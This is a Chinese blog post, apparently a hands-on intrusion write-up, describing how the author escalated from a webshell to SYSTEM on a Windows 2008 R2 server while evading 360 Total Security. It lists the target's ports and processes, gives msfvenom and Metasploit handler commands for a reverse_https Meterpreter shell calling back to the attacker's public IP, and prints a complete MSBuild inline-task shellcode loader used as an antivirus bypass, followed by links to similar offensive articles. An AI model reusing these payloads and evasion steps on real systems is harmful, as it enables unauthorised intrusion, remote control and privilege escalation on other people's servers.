绕过360安全卫士提权实战案例

简介: 绕过360安全卫士提权实战案例


0x01 前言

这个案例也是帮一个朋友看的,拿到Webshell权限后先对目标机器进行了简单的信息搜集,通过以下信息基本能确定目标机器上安装的有360安全卫士和宝塔Windows服务器运维管理面板,其中包括有宝塔安装的MySQL数据库和FileZilla Server软件等。

0x02 信息搜集

目标机器基本信息:

    支持脚本:ASP、PHP(不能执行命令)
    目标系统:Windows 2008 R2(IIS7.5)
    当前权限:iis apppool\**********.com
    开放端口:21、80、135、888、3306、6088、8888、12828(TermService)
    进程名称:360tray.exe、ZhuDongFangYu.exe、FileZilla_Server.exe、mysqld.exe、runserver.exe(btPanel)、task.exe(btTask)、python.exe、KuaiYun.exe(景安云自带插件)

    注:这里因为宝塔安装目录权限和随机密码安全机制的问题,D:\BtSoft\目录没有读取和写入权限,所以我们没办法直接利用目标机器上的MySQL、FileZilla Server来进行权限提升。



    0x03 实战提权过程

    (1) 笔者根据个人经验感觉可以利用MS16-075来进行权限提升,但是由于目标机器存在360安全卫士,在提权过程中遇到了不少问题,比如我们上传的Windows Payload、大部分提权EXP以及其它恶意程序在执行过程中都会被360安全卫士查杀,首次执行无回显,二次执行已被查杀


    (2) web_delivery、hta_server模块生成的Payload也会被目标机器上的360安全卫士的Powershell进程防护拦截,mshta.exe可以被正常执行,但执行底层powershell.exe会被拦截。



    (3) 因为目标机器用的宝塔Windows服务器运维管理面板,默认安装的有Python环境,利用Python Payload可以成功得到会话,但是无法使用incognito扩展和MS16-075模块

    (4) 使用php/meterpreter/reverse_tcp得到的会话功能有限,很多命令执行不了,同样无法使用incognito扩展和MS16-075模块。

    (5) 笔者最终是通过MSBuild.exe白名单成功得到目标机器Meterpreter会话,这里需要将x86会话进程注入到x64进程中去,然后再利用ms16_075_reflection_juicy本地权限提升模块成功拿到目标SYSTEM权限,其它白名单也就没有再去测试了(留了个坑,自己去踩)0.0 !


      root@kali:~# msfvenom -a x86 –platform windows -p windows/meterpreter/reverse_https LHOST=公网IP地址 LPORT=5555 -f csharp
      msf5 > use exploit/multi/handler
      msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_https
      msf5 exploit(multi/handler) > set lhost 公网IP地址
      msf5 exploit(multi/handler) > set lport 5555
      msf5 exploit(multi/handler) > exploit



      0x04 MSBuild白名单


        <Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
                 <!-- This inline task executes shellcode. -->
                 <!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
                 <!-- Save This File And Execute The Above Command -->
                 <!-- Author: Casey Smith, Twitter: @subTee -->
                 <!-- License: BSD 3-Clause -->
            <Target Name="Hello">
              <ClassExample />
            </Target>
            <UsingTask
              TaskName="ClassExample"
              TaskFactory="CodeTaskFactory"
              AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
              <Task>
                <Code Type="Class" Language="cs">
                <![CDATA[
            using System;
            using System.Runtime.InteropServices;
            using Microsoft.Build.Framework;
            using Microsoft.Build.Utilities;
            public class ClassExample :  Task, ITask
            {         
              private static UInt32 MEM_COMMIT = 0x1000;          
              private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;          
              [DllImport("kernel32")]
                private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
                UInt32 size, UInt32 flAllocationType, UInt32 flProtect);          
              [DllImport("kernel32")]
                private static extern IntPtr CreateThread(            
                UInt32 lpThreadAttributes,
                UInt32 dwStackSize,
                UInt32 lpStartAddress,
                IntPtr param,
                UInt32 dwCreationFlags,
                ref UInt32 lpThreadId           
                );
              [DllImport("kernel32")]
                private static extern UInt32 WaitForSingleObject(           
                IntPtr hHandle,
                UInt32 dwMilliseconds
                );          
              public override bool Execute()
              {
                byte[] shellcode = new byte[] { 
        Insert Shellcode Here };
                  UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
              MEM_COMMIT, PAGE_EXECUTE_READWRITE);
                  Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
                  IntPtr hThread = IntPtr.Zero;
                  UInt32 threadId = 0;
                  IntPtr pinfo = IntPtr.Zero;
                  hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
                  WaitForSingleObject(hThread, 0xFFFFFFFF);
                  return true;
              } 
            }     
                ]]>
                </Code>
              </Task>
            </UsingTask>
          </Project>


        相关文章
        |
        供应链 中间件
        哥斯拉内存马/Suo5内存代理插件
        哥斯拉内存马/Suo5内存代理插件
        1535 0
        |
        安全 网络安全
        技巧!通过360卫士白名单绕过查杀
        技巧!通过360卫士白名单绕过查杀
        1433 0
        |
        开发框架 安全 .NET
        记一次绕过安全狗和360提权案例
        记一次绕过安全狗和360提权案例
        311 0
        |
        存储 安全 API
        Windows Server 2022 21H2 本地域权限提升漏洞(PetitPotam)
        Windows Server 2022 Standard/Datacenter 存在本地域权限提升漏洞,攻击者可通过使用PetitPotam工具进行获取服务器SYSTEM权限。
        855 1
        |
        SQL Shell 数据库
        MSSQL绕过微软杀毒提权案例
        MSSQL绕过微软杀毒提权案例
        485 0
        |
        Java 数据安全/隐私保护
        Fortify——安装并修改报告语言为中文
        Fortify——安装并修改报告语言为中文
        940 0
        Fortify——安装并修改报告语言为中文
        |
        安全
        致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
        致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
        2627 0
        致远OA A8 htmlofficeservlet 任意文件上传漏洞 漏洞复现
        |
        数据采集 监控 安全
        2021常见的搜索引擎蜘蛛的User Agent汇总
        2021常见的搜索引擎蜘蛛的User Agent汇总
        1152 0
        |
        监控 安全 JavaScript
        某远控RCE绕过某数字的利用方式
        某远控RCE绕过某数字的利用方式
        447 2
        |
        应用服务中间件 数据库连接 数据安全/隐私保护
        MSSQL绕过360提权实战案例
        MSSQL绕过360提权实战案例
        492 2